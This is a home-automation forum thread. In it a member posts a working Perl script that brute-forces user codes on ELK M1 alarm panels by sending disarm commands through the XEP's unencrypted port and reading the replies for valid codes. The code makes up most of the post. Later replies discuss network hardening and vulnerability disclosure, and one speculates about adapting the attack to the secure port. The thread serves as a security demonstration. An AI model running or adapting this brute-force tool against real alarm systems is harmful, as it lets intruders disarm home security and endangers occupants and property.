ELK brute force attack


Active Member
A week or so ago there was a post about the XEP security, and which commands required a user code.  Very few.   But interestingly enough, some of those commands respond and tell you if the user code is valid.   See where I'm headed?
Sorry about the line spacing.  I pasted the .pl file into the post editor and it double spaced everything. 

# elk brute force attack

# Find valid user codes by trying to disarm the system.

# The system doesn't need to be "armed", in fact, it shouldn't

# because of the problem below.  


# So what use is this?  Not much, except it proves that if somebody

# can get a connection to your network, they can hack your M1.


# When testing this, the M1 would spuriously "short" a random zone

#   0AZC050B00BB (zone 50, violated "short")

# No real rhyme or reason, contact, motions, glass breaks, but typically

# they were one of the first 2 or 3 zones on the expander

# (17,18,19,33,34,35,49,50,51,65,66,67)

# Never had any trouble with those zones before, and they only "short"

# when running this code.  Yeah, I know its hard to believe.


# If your were trying to attack an armed system, a shorted zone would

# trip the alarm and the PO-lice might show up - can't have that!


# I guessed this problem was occuring because the M1 serial port was

# being flooded from the XEP.

# I tried adding some delays between each test, and a larger delay after

# every 100 codes.  No Joy.  (the delays are commented out now)

# Experiment and see what happens on your M1.


# Without delays, it takes 15 minutes to run through all 10K 4 digit codes.


# This was developed with Strawberry Perl 5.18 on Windows.

# It doesn't use any Windows specific constructs, so it should

# be portable to any platform.

use strict;

use warnings;

use IO::Socket::INET;

use Time::HiRes qw ( usleep );

my $xep_ip = '';

my $xep_port = 2101;

my $usercode_begin = 0000;

my $usercode_end   = 9999;

my $debug = 0;

my $count;

my $data;

my $xep;

my $temp;

my $usercode;

my $usernum;

# connect to the xep

$xep = new IO::Socket::INET (

  PeerHost => $xep_ip,

  PeerPort => $xep_port,

  Proto => 'tcp',


$| = 1; # unbuffered output

$count = 0;

for ($usercode=$usercode_begin; $usercode<=$usercode_end; $usercode++) {

  #print "usercode $usercode\n" if $debug;

  printinfo("progress; usercode=$usercode") if ($count == 0);

  # 6 digits

  $temp = "000000$usercode";

  $temp = substr($temp,length($temp)-6,6);

  # disarm

  $data = "a01" . $temp . "00";

  # prepend length

  $data =  sprintf("%02X",length($data)+2) . $data;

  # append checksum

  $data = $data . xep_checksum($data);


  print ">>> $data\n" if $debug;

  # send to xep

  print $xep "$data\n";

  my $timenow;

  $timenow = time;

  # get result (IC)

  $data = "00??";

  while (substr($data,2,2) ne "IC") {

    # read from xep

    $data = (<$xep>);

    $data =~ s/\r//g;

    $data =~ s/\n//g;

    print "<<< $data\n" if $debug;

    # skip heartbeats

    next if (substr($data,2,2) eq "XK");

    printinfo("data=$data") if (substr($data,2,2) ne "IC");

    # over a minute since the last send to xep and no IC packet

    if (time > $timenow+60) {


      $debug = 1;

      goto again;


    } # while $data<>IC

  # user number

  $usernum = substr($data,16,3);

  # valid

  if ($usernum ne "000") {

    printinfo("*** user number $usernum is $usercode ***");


  # print progress every 100 codes


  # see comments at top

  #sleep(15) if ($count == 100);

  $count = 0 if ($count == 100);

  # see comments at top

  #usleep(333333); # 1/3 sec

  } # for $usercode

printinfo("progress, usercode=$usercode_end");

# calculate xep checksum

sub xep_checksum {

  my $str = shift;

  my $cc;

  my $len;

  my $x;

  $cc = 0;

  $len = length($str);

  for ($x=0; $x<$len; $x++) {

    $cc += ord(substr($str,$x,1));


  # two's complement of lower 8 bits

  $cc = (($cc & 255) ^ 0xff) + 1;


  return sprintf("%02X",$cc);

  } # xep_checksum()

sub printinfo {

  my $msg = shift;

  print NowX() . "; $msg\n";


# current date/time as yyyy/mm/dd hh:mm:ss

sub NowX {

  my $dt = Now();


    substr($dt,0,4) . "/" . substr($dt,4,2) . "/" . substr($dt,6,2) .

    " " .

    substr($dt,8,2) . ":" . substr($dt,10,2) . ":" . substr($dt,12,2);


# current date/time as yyyymmddhhmmss

sub Now {

  my $sec;

  my $min;

  my $hour;

  my $day;

  my $month;

  my $year;

  ($sec,$min,$hour,$day,$month,$year) = localtime(time);



  $sec = "0$sec" if ($sec < 10);

  $min = "0$min" if ($min < 10);

  $hour = "0$hour" if ($hour < 10);

  $day = "0$day" if ($day < 10);

  $month = "0$month" if ($month < 10);

  return "$year$month$day$hour$min$sec";

You are talking about folks who make their unit accessible from the internet?
The attacker first would have to get through the firewall's security check - and if the firewall doesn't have that feature then I would get another firewall.
Still an interesting exercise - thanks for sharing.
So this is using the non-secure port.  I don't think there are any firewall features, short of authentication or a VPN, that are going to help you here.  Most consumer routers are just port forwarding, so they wouldn't block it and it looks like it is only using one socket so there aren't any DoS features that are gonna help even on a high end firewall.
I believe the secure port requires a username and password.  Hopefully Elk resets the socket and at least goes into holddown on failed authentications on the secure socket, shame on them if they don't.
There was also an old thread around here somewhere that showed how to craft a Google query to find ELKs that are exposed to the internet.  You definitely shouldn't expose the non-secure port to the internet.  And if you are a business probably not ever enable the non-secure port at all.  Also since the device is PLC based and can't be updated to keep up with current security standards, the secure port may be vulnerable to, at the very least to a DoS attack.  The random zone shorting is also concerning and attack on the secure port might cause similar side effects.
Would be interesting to see this modified to hammer the secure port...
If somebody can get access to the network the XEP is on from outside the house, say through a wired outdoor IP camera connection or even an open wireless connection, it might be practical.  Otherwise it's just an exercise.
It should be possible to find a lost master code, but it would take 11 days to run through all 1M of the codes.
>>> 0Da01??????002F
<<< 17IC000000000000201040075
2014/02/08 10:54:05; *** user number 201 is ?????? ***
I've been using port 2101 because there's no point in using SSL inside my house.
I swear in the past I was able to connect to the XEP with SSL using this bit of code without any user/pass or fuss/muss:
$xep = new IO::Socket::SSL(
   PeerAddr => $xep_ip,
    PeerPort => 2601,
    Proto    => 'tcp');
Which is the same bit of code that's in Elk::M1Control
       $sock = new IO::Socket::SSL(
            PeerAddr => $self->{host},
            PeerPort => $self->{port},
            Proto    => 'tcp'

But not having any luck with that today.  Even rebooted the XEP.
Leaving network hardware exposed on the outside of a building or open wireless connection...well, that's just poor install and design practices. realistically, once you start putting a pile of hardware on the network with PC's and other sensitive items connected it...well you should be looking at a VLAN and locking down the network.
sda said:
...because there's no point in using SSL inside my house.
Does that qualify as one of those 'famous last words' sort of quotes?
I've learned over the years there are few regrets in being security conscious other than the learning curve.  Whenever possible, do not choose anything in the clear, even inside your own network.  If the device supports SSH then use it.
Secured VLANs and SSH/HTTPS management interfaces are definitely the way to go.
VPN or SSH tunnels to the outside only and use encrypted keys/certs.
If you don't know how to deploy them yet... learn! As more and more items become interconnected you're going to need to understand basic security practices.
It might have been useful to contact Elk first with your security DoS concerns before posting.
I don’t agree that Elk XEP should not be directly exposed to Internet. The XEP’s security should be good-enough to prevent basic DoS and password cracking. Bad guys do get into secure networks, so it’s a good idea to make sure your home security system is safe from easy exploitation. Low-cost embedded controllers can be made relatively secure.
I do know that Elk has enhanced security of XEP. One member mentioned working with Elk to allow passwords to not be sent in-the-clear.
ElkRP configuration does support 6-digit codes.